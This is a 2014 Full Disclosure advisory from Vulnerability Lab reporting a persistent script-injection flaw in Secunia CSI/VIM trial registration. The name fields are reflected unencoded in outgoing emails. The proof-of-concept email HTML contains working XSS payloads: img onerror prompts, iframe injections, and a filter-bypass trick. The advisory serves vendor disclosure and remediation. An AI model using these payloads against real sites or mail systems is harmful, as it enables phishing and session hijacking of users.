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[FD] Secunia CSI/VIM - Filter Bypass & Persistent Validation Vulnerabilities
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Secunia CSI/VIM - Filter Bypass & Persistent Validation Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Wed, 18 Jun 2014 15:59:41 +0200
Document Title:
===============
Secunia CSI/VIM - Filter Bypass & Persistent Validation Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1272
Release Date:
=============
2014-06-18
Vulnerability Laboratory ID (VL-ID):
====================================
1272
Common Vulnerability Scoring System:
====================================
3.9
Product & Service Introduction:
===============================
The Secunia CSI 7.0 combines scanning and patching, thereby meeting the
requirements of both IT security and IT operations. This combination of
vulnerability intelligence, vulnerability scanning, patch creation and patch
deployment is unique in the industry. The Secunia CSI is an authenticated
internal vulnerability scanner, capable of assessing the security state of
practically all legitimate programs running on Microsoft Windows platforms
and supports scanning of Windows, Apple Mac OSX, Android and Red Hat Enterprise
Linux (RHEL) platforms.
( Copy of the Vendor Homepage: http://secunia.com/vulnerability_scanning/ )
Secunia’s Vulnerability Intelligence Manager is vulnerability intelligence
brought to you on time, every time, by Secunia’s renowned research team.
The Secunia VIM covers more than 50,000 systems and applications. The software
vulnerability alerts are brought to you instantaneously, and threat
levels are prioritized, so you and your team can address the most critical
vulnerabilities first. Comprehensive reporting lets you assess the current
state of your IT infrastructure, manage the risks, meet compliancy policy
rules, and get an increased return on your security investment. With Secunia`s
powerful Vulnerability Intelligence and Management solution you can implement
remediation strategies effectively and keep your organization secure.
( Copy of the Vendor Homepage: http://secunia.com/vulnerability_intelligence/ )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a medium severity
vulnerability in the official Secunia CSI/VIM web-application service.
Vulnerability Disclosure Timeline:
==================================
2014-06-18: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Secunia
Product: CSI & VIM - Web Application & Online Service 2014 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent mail encoding web vulnerability has been discovered in the
official Secunia website web-application for csi/vim account registration.
The vulnerability allows an remote attacker to inject own malicious script
codes to the application-side of the vulnerable web-application service.
The vulnerability is located in the web input form of the registration to the
csi and vim program. The user is able to register with persistent
script codes as first- & lastname.The affect becomes visible in the outgoing
email of the web-server and could maybe affect other sections in
the profile. The attacker injects a payload and streams the malicious mail with
own content to a secunia- or random-user. The filter of the
web-server is not validating the context of the mail on input through the
website. The result is an application-side script code execution in
the mail header after the introduction word `Dear`. The mail includes the
registered user (db stored) with the payload context and does not
encode the input.
The secunia web-server tries to encode the input and prevents it with `/`. The
attacker can input multiple strings and between the parse with the `/`
the persistent script code execution occurs. The issue allows attackers to
inject `frames`, `iframes`, `img` and different other html tags with
own script codes. The mails can be send to random user for phishing attacks
with persistent attack vector or directly to well known secunia
customers via mail.
The security risk of the persistent input validation web vulnerability in the
mail encldoing of the web-server is estimated as medium with a
cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the mail encoding and web-server validation vulnerability
requires low or medium user interaction and no privileged secunia vim/csi
application user account. Successful exploitation of the persistent mail
encoding web vulnerability results in persistent phishing attacks against
customers or random email users, session hijacking, persistent redirects to
malware and persistent manipulation of affected or connected module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] /products/corporate/vim/trial/
[+] /vulnerability_scanning/corporate/trial/
Vulnerable Parameter(s):
[+] First- & Lastname
Affected Section(s):
[+] Secunia CSI - Mail Notification
[+] Secunia VIM - Mail Notification
Note: A demo user can also become a registered secunia user with the same
profile credentials which impact the risk to receive later compromised service
email notifications or execution of payload in the user frontend/backend next
to the db stored profile values.
Proof of Concept (PoC):
=======================
The persistent mail encoding web vulnerabilities can be exploited remote
attackers without privileged application user account or with low privileged
application user account and without user interaction. For security
demonstration or to reproduce the security vulnerability follow the provided
information and steps below to continue.
1. Open the two vulnerable service registration formulars >
http://secunia.com/products/corporate/vim/trial/ >
http://secunia.com/vulnerability_scanning/corporate/trial/
2. Inject own script code (payload) to the vulnerable first- & lastname input
field values
3. Submit the formulars to secunia
4. Check your registration postbox and review the first arriving email of
secunia during the registration tral procedure for example
5. The persistent script code execution occurs in the mail next to the
introduction word `Dear` x=First- & Lastname
6. Successful reproduce of the persistent mail encoding web-server
vulnerability!
Note: A demo user can become a registered secunia user with the same
credentials which impact also a risk to later email notifications or service
values.
The attacker is able to send the mail to random new email or to other secunia
customers email by a mailing list.
Sender Account: @response.secunia.com
Tester Account: bkm@xxxxxxxxxxxxxxxxx
Test Date: 08.05.2014 23:12 & 18.06.2014
PoC: Secunia CSI - Did you get off to a good start?
<tr><td id="empty30" align="left" height="30" valign="top" width="30"></td><td
rowspan="12" colspan="1" id="view31" style="color: #000000;
font-family: Arial; font-size: 12px; line-height: 18px; letter-spacing: 0px"
align="left" height="300" valign="top" width="410"><div id="sc54725"
class="sc-view hidden-border inline-styled-view editor-outline" style="left:
30px; width: 410px; top: 30px; height: 300px; color: #000000; font-family:
Arial; font-size: 12px; line-height: 18px; letter-spacing: 0px; overflow:
hidden"><div class="co-border-style" style="">
<table bordercollapse="collapse" class="co-style-table" style="color: #000000;
font-family: Arial; font-size: 12px; line-height: 18px; letter-spacing:
0px; margin-top: 0px; margin-left: 0px; margin-right: 0px; margin-bottom: 0px"
border="0" cellpadding="0" cellspacing="0" height="300" width="410">
<tbody><tr><td class="valign-able" valign="top"><span
class="remove-absolute"><span style="color:rgb(85, 85, 85);"><font
style="font-size:14px;">
<b>Dear \">%20"><img src=http://www.vulnerability-lab.com
onerror="prompt(1337);<img src=http://www.vulnerability-lab.com
onerror="prompt(1337);"></b>
<br><br>We just want to make sure that your installation went well.<br><br>We
know from experience that getting a good start is crucial to making the most
of your free trial. Therefore it is very important to us that you are
satisfied with the installation and don’t encounter any problems during the
first few days.<br><br>Please don’t hesitate to contact our Customer
Support Center at <a style="" href="mailto:csc@xxxxxxxxxxx";>csc@xxxxxxxxxxx</a>
if you need any assistance or have any questions.<br>
<br>Stay Secure,<br>Secunia</font></span>
... or
PoC: Kommende Secunia Partner Events in Deutschland
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tbody><tr><td
align="center" height="0"></td></tr><tr><td><table bordercollapse="collapse"
id="sc3124" style="table-layout: auto; background-color: #ffffff"
cellpadding="0" cellspacing="0" align="center" border="0" width="800">
<tbody><tr><td rowspan="1" colspan="14" id="view0" style="" align="left"
height="300" valign="top" width="800"><div id="sc3308" class="sc-view"
style="left: 0px; width: 800px; top: 0px; height: 300px; overflow: hidden"><div
class="co-border-style" style="border-width: 2px; border-style: none">
<table bordercollapse="collapse" class="co-style-table" style="margin-top: 0px;
margin-left: 0px; margin-right: 0px; margin-bottom: 0px" cellpadding="0"
cellspacing="0" border="0" height="300" width="800"><tbody><tr><td
class="valign-able" valign="top">
<img
src="http://img.en25.com/EloquaImages/clients/SecuniaApS/{6611650f-4a88-4ce0-bc2b-a62700267197}_ADN-PartnerEvents_email_bannerJune2014.jpg";
title="" alt="" id="sc3310" class="sc-view sc-image-view editor-outline
sc-regular-size" style="display: block" height="300" width="800">
</td></tr></tbody></table></div></div></td></tr><tr><td id="empty14"
align="left" height="23" valign="top" width="30"></td><td id="empty15"
align="left"
height="23" valign="top" width="45"></td><td id="empty16" align="left"
height="23" valign="top" width="5"></td><td id="empty17" align="left"
height="23"
valign="top" width="250"></td><td id="empty18" align="left" height="23"
valign="top" width="210"></td><td id="empty19" align="left" height="23"
valign="top"
width="28"></td><td id="empty20" align="left" height="23" valign="top"
width="2"></td><td id="empty21" align="left" height="23" valign="top" width="1">
</td><td id="empty22" align="left" height="23" valign="top" width="29"></td><td
id="empty23" align="left" height="23" valign="top" width="1"></td><td
id="empty24"
align="left" height="23" valign="top" width="16"></td><td id="empty25"
align="left" height="23" valign="top" width="113"></td><td id="empty26"
align="left"
height="23" valign="top" width="46"></td><td id="empty27" align="left"
height="23" valign="top" width="24"></td></tr><tr><td id="empty28" align="left"
height="78" valign="top" width="30"></td><td rowspan="1" colspan="11"
id="view29" style="color: #000000; font-family: Arial; font-size: 12px;
line-height:
18px; letter-spacing: 0px" align="left" height="78" valign="top"
width="700"><div id="sc3219" class="sc-view hidden-border inline-styled-view
editor-outline"
style="left: 30px; width: 700px; top: 323px; height: 78px; color: #000000;
font-family: Arial; font-size: 12px; line-height: 18px; letter-spacing: 0px;
overflow: hidden"><div class="co-border-style" style=""><table
bordercollapse="collapse" class="co-style-table" style="color: #000000;
font-family: Arial;
font-size: 12px; line-height: 18px; letter-spacing: 0px; margin-top: 0px;
margin-left: 0px; margin-right: 0px; margin-bottom: 0px" cellpadding="0"
cellspacing="0" border="0" height="78" width="700"><tbody><tr><td
class="valign-able" valign="top"><span class="remove-absolute"><b>
<span style="color:rgb(85, 85, 85);font-size:14px;">Sehr geehrte</span><font
style="font-size:14px;color:rgb(85, 85, 85);"> </font></b>
<font style="font-size:14px;"><b style="color:rgb(85, 85, 85);">\"><img
src="\"x\"">%20>\
"<\">%20"><img src=http://www.vulnerability-lab.com onerror="prompt(1337);<img
src=http://www.vulnerability-lab.com onerror="prompt(1337);">"><iframe> \"><img
src=\"x\">%20>\"<iframe src=a><iframe>2</b>
</font><br><br><div><font color="#555555" style="font-size:14px;">wir möchten
Sie auf anstehende Veranstaltungen unserer <b>Secunia Partner in
Deutschland</b>
aufmerksam machen, auf denen Sie unsere Lösungen vor Ort erleben
können:</font></div></span></td></tr></table></div></div></td><td align="left"
valign="top"
width="46" height="78" id="empty40"></td><td align="left" valign="top"
width="24" height="78" id="empty41"></td></tr><tr><td align="left" valign="top"
width="30" height="10" id="empty42"></td><td align="left" valign="top"
width="45" height="10" id="empty43"></td><td align="left" valign="top"
width="5"
height="10" id="empty44"></td><td align="left" valign="top" width="250"
height="10" id="empty45"></td><td align="left" valign="top" width="210"
height="10" id="empty46"></td>
Reference(s):
http://secunia.com/products/corporate/vim/trial/
http://secunia.com/vulnerability_scanning/corporate/trial/
Picture(s):
../1.png
../2.png
../3.png
../4.png
Resource(s):
../Secunia CSI – Did you get off to a good
start.html
../Kommende Secunia Partner Events in
Deutschland.html
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of all input
fields with the vulnerable first- & lastname value in the registrations.
The registration formular (csi/vim) needs to be encode and a secure input
restriction for special chars validation is required. Parse and encode also
the outgoing mail context and disallow html script code as user values to
prevent further attacks.
Security Risk:
==============
The security risk of the mail encoding vulnerability in the registration module
is estimated as medium with a cvss of 3.9.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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